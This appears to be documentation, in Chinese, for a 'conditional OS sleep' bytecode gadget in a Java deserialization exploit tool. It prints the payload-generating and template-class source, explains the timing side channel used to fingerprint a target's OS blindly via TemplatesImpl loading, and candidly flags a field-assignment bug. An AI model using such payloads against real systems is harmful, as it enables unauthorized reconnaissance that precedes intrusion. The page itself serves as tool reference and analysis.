- 类别:bytecode 别名:— 优先级:15
- 作者:Ar3h
- 依赖:无
生成一段"条件延时"探测字节码:仅当目标操作系统满足条件(默认判定为 Windows)时才 Thread.sleep 指定秒数。攻击者据此通过响应耗时差异,无回显地推断目标操作系统类型。属于链尾字节码 sink(END)。
- 入口
tags:Bytecode、ENDBytecode:产出原始类字节码(byte[]),需上游BytecodeConvert之类装入TemplatesImpl触发defineClass。END:链的终点,其后不再衔接其它 gadget。
- 衔接
nextTags:空。 excludes:空。
gadget 本体只负责把参数烘焙进模板类:
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(OsSleepBytecode.class);
javassistHelper.modifyStringField("second", this.second);
javassistHelper.modifyStringField("isWin", this.second); // 注意:见下方缺陷说明
return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // END 环
return this.getObject();
}模板类静态块入口执行构造函数,条件延时:
public static String isWindows;
public static String second;
public OsSleepBytecode() {
try {
if (Boolean.parseBoolean(isWindows) && System.getProperty("os.name").toLowerCase().startsWith("win")) {
Thread.sleep(1000L * (long)Integer.valueOf(second).intValue());
}
} catch (Exception exception) {}
}
static { new OsSleepBytecode(); }逻辑:isWindows(是否只在 Windows 上延时)为真、且 os.name 确以 win 开头时,睡眠 second 秒;否则立即返回。攻击者对同一 Payload 观察响应时延——若明显变慢即命中 Windows,否则为其它系统——完成 OS 指纹探测,无需任何回显通道。
已知缺陷(如实标注):
getObject()中第二行modifyStringField("isWin", this.second)——字段名写成isWin,而模板静态字段实际叫isWindows;且传入的值取自this.second而非this.isWin。这意味着用户配置的isWin参数并未真正写入模板(视JavassistHelper对不存在字段的处理而定,isWindows很可能保持其默认/空值,Boolean.parseBoolean(null)返回false,从而导致延时逻辑可能永不触发)。这是 1.4.4 反编译源码中确实存在的赋值 bug,使用该 gadget 前需留意。
| 字段 | 名称 | 说明 | 默认 | 类型 |
|---|---|---|---|---|
second |
秒 | 命中条件时的睡眠秒数 | 5 |
ParamType.Integer |
isWin |
是否为 Win | true:若目标系统为 Windows 则 Sleep |
true |
ParamType.Boolean |
- 与依赖版本无关,纯 JDK 反射/系统属性判断。
- 用于时延盲探操作系统类型,属探测型 sink 而非 RCE;不产生回显,靠响应耗时侧信道判断。
- 同样需要上游
TemplatesImpl系装载器触发字节码,要求目标 JDK 允许TemplatesImpl定义类。 - 注意上文赋值 bug 可能导致实际不生效。
自由构件,未直接出现在预设链(usedInChains 为空)。定位与预设的 Sleep 探测链([BytecodeConvert, Sleep])相近,可视为其"按操作系统条件延时"的变体。
- 上游(消费本
Bytecode产物):BytecodeConvert、TemplatesImpl。 - 同族探测 sink:
Sleep(无条件延时)、DNSLog系(外带探测)。 - 同族命令 sink:Exec、ReverseShell。